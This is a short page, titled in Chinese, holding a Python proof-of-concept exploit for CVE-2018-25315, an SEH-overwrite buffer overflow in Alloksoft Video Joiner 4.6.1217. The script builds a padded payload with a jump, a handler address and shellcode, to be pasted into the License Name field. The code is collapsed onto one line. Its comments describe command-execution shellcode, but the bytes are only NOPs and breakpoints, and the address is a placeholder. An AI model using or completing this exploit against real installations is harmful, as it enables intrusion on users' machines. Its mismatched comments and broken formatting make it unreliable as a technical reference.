CVE-2018-25315 Alloksoft Video Joiner 缓冲区溢出漏洞

import sys import struct # Buffer overflow PoC for CVE-2018-25315 # Exploits SEH overwrite in Alloksoft Video Joiner 4.6.1217 def generate_payload(): # Offset to SEH handler (example value, adjust based on debugging) offset = 408 # SEH overwrite pattern # pop pop ret address from a non-ASLR module (e.g., os specific) # This is a placeholder address for demonstration seh_handler = struct.pack('<L', 0x1001FFFF) # Short jump to shellcode (6 bytes back) nseh = b"\xeb\x06\x90\x90" # Simple calc shellcode (Windows exec cmd.exe) # Placeholder shellcode shellcode = b"\x90" * 8 + b"\xcc\xcc\xcc\xcc" # Padding to reach offset padding = b"A" * offset # Remaining padding to fill the buffer remaining = b"C" * (500 - len(padding) - len(nseh) - len(seh_handler) - len(shellcode)) payload = padding + nseh + seh_handler + shellcode + remaining return payload if __name__ == "__main__": print("[+] Generating malicious payload for License Name field...") payload = generate_payload() print(f"[+] Payload length: {len(payload)}") # Use this string in the License Name field to trigger the crash/exploit print(payload.decode('latin-1'))